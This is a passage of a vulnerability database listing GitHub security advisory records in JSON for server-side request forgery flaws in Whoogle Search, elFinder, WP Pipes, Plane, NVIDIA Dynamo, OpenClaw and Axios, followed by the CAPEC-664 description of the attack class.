"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: HTTP/2 adapter bypasses configured DNS lookup and proxy controls"
}
GHSA-3PX8-2P4Q-XPWM
Vulnerability from github – Published: 2025-05-07 15:31 – Updated: 2026-04-28 21:35Server-Side Request Forgery (SSRF) vulnerability in ThimPress WP Pipes allows Server Side Request Forgery. This issue affects WP Pipes: from n/a through 1.4.2.
{
"affected": [],
"aliases": [
"CVE-2025-47664"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-07T15:16:18Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in ThimPress WP Pipes allows Server Side Request Forgery. This issue affects WP Pipes: from n/a through 1.4.2.",
"id": "GHSA-3px8-2p4q-xpwm",
"modified": "2026-04-28T21:35:36Z",
"published": "2025-05-07T15:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47664"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wp-pipes/vulnerability/wordpress-wp-pipes-1-4-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3Q6G-QMPX-RQW4
Vulnerability from github – Published: 2024-03-14 20:37 – Updated: 2024-03-14 20:37Whoogle Search is a self-hosted metasearch engine. In versions 0.8.3 and prior, the window endpoint does not sanitize user-supplied input from the location variable and passes it to the send method which sends a GET request on lines 339-343 in request.py, which leads to a server-side request forgery. This issue allows for crafting GET requests to internal and external resources on behalf of the server. For example, this issue would allow for accessing resources on the internal network that the server has access to, even though these resources may not be accessible on the internet. This issue is fixed in version 0.8.4.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "whoogle-search"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-22205"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-14T20:37:57Z",
"nvd_published_at": "2024-01-23T18:15:18Z",
"severity": "CRITICAL"
},
"details": "Whoogle Search is a self-hosted metasearch engine. In versions 0.8.3 and prior, the `window` endpoint does not sanitize user-supplied input from the `location` variable and passes it to the `send` method which sends a `GET` request on lines 339-343 in `request.py,` which leads to a server-side request forgery. This issue allows for crafting GET requests to internal and external resources on behalf of the server. For example, this issue would allow for accessing resources on the internal network that the server has access to, even though these resources may not be accessible on the internet. This issue is fixed in version 0.8.4.\n\n",
"id": "GHSA-3q6g-qmpx-rqw4",
"modified": "2024-03-14T20:37:57Z",
"published": "2024-03-14T20:37:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22205"
},
{
"type": "WEB",
"url": "https://github.com/benbusby/whoogle-search/commit/3a2e0b262e4a076a20416b45e6b6f23fd265aeda"
},
{
"type": "PACKAGE",
"url": "https://github.com/benbusby/whoogle-search"
},
{
"type": "WEB",
"url": "https://github.com/benbusby/whoogle-search/blob/92e8ede24e9277a5440d403f75877209f1269884/app/request.py#L339-L343"
},
{
"type": "WEB",
"url": "https://github.com/benbusby/whoogle-search/blob/92e8ede24e9277a5440d403f75877209f1269884/app/routes.py#L479"
},
{
"type": "WEB",
"url": "https://github.com/benbusby/whoogle-search/blob/92e8ede24e9277a5440d403f75877209f1269884/app/routes.py#L496-L557"
},
{
"type": "WEB",
"url": "https://github.com/benbusby/whoogle-search/blob/92e8ede24e9277a5440d403f75877209f1269884/app/routes.py#L497"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/whoogle-search/PYSEC-2024-18.yaml"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2023-186_GHSL-2023-189_benbusby_whoogle-search"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Whoogle Search Server-Side Request Forgery vulnerability"
}
GHSA-3Q7G-M267-RP98
Vulnerability from github – Published: 2026-08-04 18:31 – Updated: 2026-08-04 18:31NVIDIA Dynamo for Linux contains a vulnerability where an attacker may cause server-side request forgery. A successful exploit of this vulnerability might lead to information disclosure.
{
"affected": [],
"aliases": [
"CVE-2026-47614"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-04T18:16:50Z",
"severity": "HIGH"
},
"details": "NVIDIA Dynamo for Linux contains a vulnerability where an attacker may cause server-side request forgery. A successful exploit of this vulnerability might lead to information disclosure.",
"id": "GHSA-3q7g-m267-rp98",
"modified": "2026-08-04T18:31:29Z",
"published": "2026-08-04T18:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47614"
},
{
"type": "WEB",
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5842"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47614"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3Q8X-VX89-4P24
Vulnerability from github – Published: 2025-08-13 15:30 – Updated: 2025-08-13 21:30Server side request forgery (SSRF) vulnerability in makeplane plane 0.23.1 via the password recovery.
{
"affected": [],
"aliases": [
"CVE-2025-50251"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-13T15:15:34Z",
"severity": "CRITICAL"
},
"details": "Server side request forgery (SSRF) vulnerability in makeplane plane 0.23.1 via the password recovery.",
"id": "GHSA-3q8x-vx89-4p24",
"modified": "2025-08-13T21:30:27Z",
"published": "2025-08-13T15:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50251"
},
{
"type": "WEB",
"url": "https://packetstorm.news/files/id/190475"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/52211"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3QHM-QFJ3-4RRX
Vulnerability from github – Published: 2022-05-13 01:06 – Updated: 2024-02-06 18:00A Server Side Request Forgery (SSRF) vulnerability in elFinder before 2.1.49 could allow a malicious user to access the content of internal network resources. This occurs in get_remote_contents() in php/elFinder.class.php.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "studio-42/elfinder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.49"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-6257"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-10T19:31:04Z",
"nvd_published_at": "2019-01-14T08:29:00Z",
"severity": "HIGH"
},
"details": "A Server Side Request Forgery (SSRF) vulnerability in elFinder before 2.1.49 could allow a malicious user to access the content of internal network resources. This occurs in `get_remote_contents()` in `php/elFinder.class.php`.",
"id": "GHSA-3qhm-qfj3-4rrx",
"modified": "2024-02-06T18:00:03Z",
"published": "2022-05-13T01:06:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6257"
},
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/commit/2f522db8f037a66ce9040ee0b216aa4a0359286c"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/studio-42/elfinder/CVE-2019-6257.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/Studio-42/elFinder"
},
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/blob/2.1.49/Changelog"
},
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/releases/tag/2.1.49"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "elFinder Server Side Request Forgery (SSRF)"
}
GHSA-3QMC-RWV9-Q36H
Vulnerability from github – Published: 2026-09-26 03:30 – Updated: 2026-09-26 03:30OpenClaw versions before 2026.8.1 fail to validate video asset URLs returned by providers, allowing server-side requests to private destinations. A malicious or compromised provider can return private or loopback URLs to cause the CLI to make requests to internal services accessible from the OpenClaw host.
{
"affected": [],
"aliases": [
"CVE-2026-100577"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-26T03:17:05Z",
"severity": "MODERATE"
},
"details": "OpenClaw versions before 2026.8.1 fail to validate video asset URLs returned by providers, allowing server-side requests to private destinations. A malicious or compromised provider can return private or loopback URLs to cause the CLI to make requests to internal services accessible from the OpenClaw host.",
"id": "GHSA-3qmc-rwv9-q36h",
"modified": "2026-09-26T03:30:27Z",
"published": "2026-09-26T03:30:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-fvxr-9g24-x3hf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100577"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-before-2026.8.1-server-side-request-forgery-via-video-asset"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.